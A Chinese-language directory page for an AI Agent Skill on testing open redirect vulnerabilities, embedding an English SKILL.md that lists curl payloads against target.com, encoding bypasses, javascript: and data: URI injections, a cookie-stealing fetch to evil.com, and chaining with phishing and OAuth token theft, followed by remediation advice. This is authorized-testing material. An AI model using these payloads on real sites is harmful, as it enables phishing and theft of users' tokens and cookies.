Token导航 LogoToken导航TokenDH.com
研究检索敏感数据github未标认证来源可访问许可证需确认审计异常

testing-for-open-redirect-vulnerabilities测试开放重定向漏洞

Agent Skill

用于辅助测试设计、自动化测试、用例整理和回归验证。它适合让 Agent 编写单元测试、端到端测试、测试计划或根据失败日志定位问题。使用时需要确认项目测试框架、运行命令和夹具数据,避免为了通过测试而改坏真实逻辑;涉及浏览器或外部服务时,应区分本地模拟、测试环境和生产环境。

总安装

879

周安装

37

GitHub Stars

5,875

下载量

308
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:testing-for-open-redirect-vulnerabilities(测试开放重定向漏洞)
来源仓库:https://github.com/mukul975/anthropic-cybersecurity-skills
仓库路径:skills/testing-for-open-redirect-vulnerabilities
安装命令:
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-for-open-redirect-vulnerabilities
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-for-open-redirect-vulnerabilities

简介

用于检测 URL 重定向功能是否可被恶意利用。

  • 适合验证跳转目标的白名单校验机制。
  • 可构造钓鱼链接测试用户点击后的跳转行为。
  • 必须限制测试域名范围防止对外传播风险。
  • testing-for-open-redirect-vulnerabilities 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

SKILL.md

Testing for Open Redirect Vulnerabilities

When to Use

  • When testing login/logout flows that redirect users to specified URLs
  • During assessment of OAuth authorization endpoints with redirect_uri parameters
  • When auditing applications with URL parameters (next, url, redirect, return, goto, target)
  • During phishing simulation to chain open redirects with credential harvesting
  • When testing SSO implementations for redirect validation weaknesses

Prerequisites

  • Burp Suite or OWASP ZAP for intercepting redirect requests
  • Collection of open redirect bypass payloads
  • External domain or Burp Collaborator for redirect confirmation
  • Understanding of URL parsing and encoding schemes
  • Browser with developer tools for observing redirect chains
  • Knowledge of HTTP 301/302/303/307/308 redirect status codes
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Redirect Parameters

# Common redirect parameter names to test:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=

# Search for redirect parameters in the application
# Use Burp Suite to crawl and identify all parameters

# Test basic redirect
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"

Step 2 — Test Basic Open Redirect Payloads

# Direct external URL
curl -v "http://target.com/redirect?url=https://evil.com"

# Protocol-relative URL
curl -v "http://target.com/redirect?url=//evil.com"

# URL with @ symbol (userinfo abuse)
curl -v "http://target.com/redirect?url=https://target.com@evil.com"

# Backslash-based redirect
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"

# Null byte injection
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"

Step 3 — Apply Validation Bypass Techniques

# Subdomain confusion bypass
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"

# URL encoding bypass
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"

# Double URL encoding
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"

# Mixed case protocol
curl -v "http://target.com/redirect?url=HtTpS://evil.com"

# CRLF injection in redirect
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"

# JavaScript protocol
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"

# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"

Step 4 — Test Path-Based Redirects

# Relative path injection
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"

# Path traversal with redirect
curl -v "http://target.com/redirect?url=/../../../evil.com"

# Fragment-based bypass
curl -v "http://target.com/redirect?url=https://evil.com#target.com"

# Parameter pollution for redirect
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"

Step 5 — Chain with Other Vulnerabilities

# Chain with OAuth for token theft
# Step 1: Find open redirect on target.com
# Step 2: Use it as redirect_uri in OAuth flow
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"

# Chain with phishing
# Create convincing phishing page at evil.com
# Use open redirect: http://target.com/redirect?url=https://evil.com/login
# Victim sees target.com in the initial URL

# Chain with XSS via javascript: protocol
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"

Step 6 — Automate Open Redirect Testing

# Use OpenRedireX for automated testing
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ

# Use gf tool to extract redirect parameters from URLs
cat urls.txt | gf redirect | sort -u > redirect_params.txt

# Mass test with nuclei
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/open-redirect.yaml

# Test with ffuf
ffuf -w open-redirect-payloads.txt -u "http://target.com/redirect?url=FUZZ" -mr "Location: https://evil"

Key Concepts

ConceptDescription
Unvalidated RedirectApplication redirects to user-supplied URL without checking destination
URL Parsing InconsistencyDifferent libraries parse URLs differently, enabling bypass
Protocol-Relative URLUsing // prefix to redirect while inheriting current protocol
Userinfo AbuseUsing @ symbol to make URL appear to belong to trusted domain
Open Redirect ChainCombining multiple open redirects or chaining with other vulnerabilities
DOM-Based RedirectClient-side JavaScript performing redirect using attacker-controlled input
Meta Refresh RedirectHTML meta tag performing redirect without server-side 302

Tools & Systems

ToolPurpose
OpenRedireXAutomated open redirect vulnerability testing tool
Burp SuiteHTTP proxy for intercepting and modifying redirect parameters
gf (tomnomnom)Pattern matcher to extract redirect parameters from URL lists
nucleiTemplate-based scanner with open redirect detection templates
ffufFuzzer for mass-testing redirect parameter payloads
OWASP ZAPAutomated scanner with open redirect detection

Common Scenarios

  1. Phishing Amplification — Use open redirect on a trusted domain to lend credibility to phishing URLs targeting users
  2. OAuth Token Theft — Exploit open redirect as redirect_uri in OAuth flows to steal authorization codes and access tokens
  3. SSO Bypass — Redirect SSO authentication responses to attacker-controlled servers to capture session tokens
  4. XSS via Redirect — Chain open redirect with javascript: protocol to achieve cross-site scripting
  5. Referer Leakage — Use open redirect to leak sensitive tokens in Referer headers when redirecting to external sites

Output Format

## Open Redirect Assessment Report
- **Target**: http://target.com
- **Vulnerable Parameters Found**: 3
- **Bypass Techniques Required**: URL encoding, userinfo abuse

### Findings
| # | Endpoint | Parameter | Payload | Impact |
|---|----------|-----------|---------|--------|
| 1 | /login | next | //evil.com | Phishing |
| 2 | /oauth/authorize | redirect_uri | https://target.com@evil.com | Token Theft |
| 3 | /logout | return | https://evil.com%00.target.com | Session Redirect |

### Remediation
- Implement allowlist of permitted redirect destinations
- Validate redirect URLs server-side using strict URL parsing
- Reject any redirect URL containing external domains
- Use indirect reference maps instead of direct URL parameters

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

34.87%
按下载量换算107

Claude

29.44%
按下载量换算91

Cursor

18.84%
按下载量换算58

Gemini CLI

8.63%
按下载量换算27

安全审计

Gen Agent Trust Hub

通过

Socket

可疑

Snyk

未通过

权限和风险

敏感数据

该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills